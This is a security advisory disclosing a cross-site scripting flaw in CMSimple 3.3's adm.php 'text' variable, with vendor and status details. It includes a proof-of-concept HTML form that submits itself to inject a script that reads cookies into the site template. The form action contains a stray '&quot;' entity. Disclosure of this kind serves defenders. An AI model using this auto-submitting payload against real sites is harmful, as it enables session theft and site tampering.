XSS vulnerability in CMSimple

Vulnerability ID: HTB22559
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_cmsimple_1.html
Product: CMSimple
Vendor: Peter Andreas Harteg ( http://www.cmsimple.org/ )
Vulnerable Version: 3.3 and Probably Prior Versions
Vendor Notification: 02 August 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/cmsimple/adm.php" script to properly sanitize user-supplied input in "text" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/&quot; method="post" name="main" >

<input type="hidden" name="text" value='php and html code of template<script>alert(document.cookie)</script>' />
<input type="hidden" name="file" value="template" />
<input type="hidden" name="action" value="save" />

</form>
<script>
document.main.submit();
</script>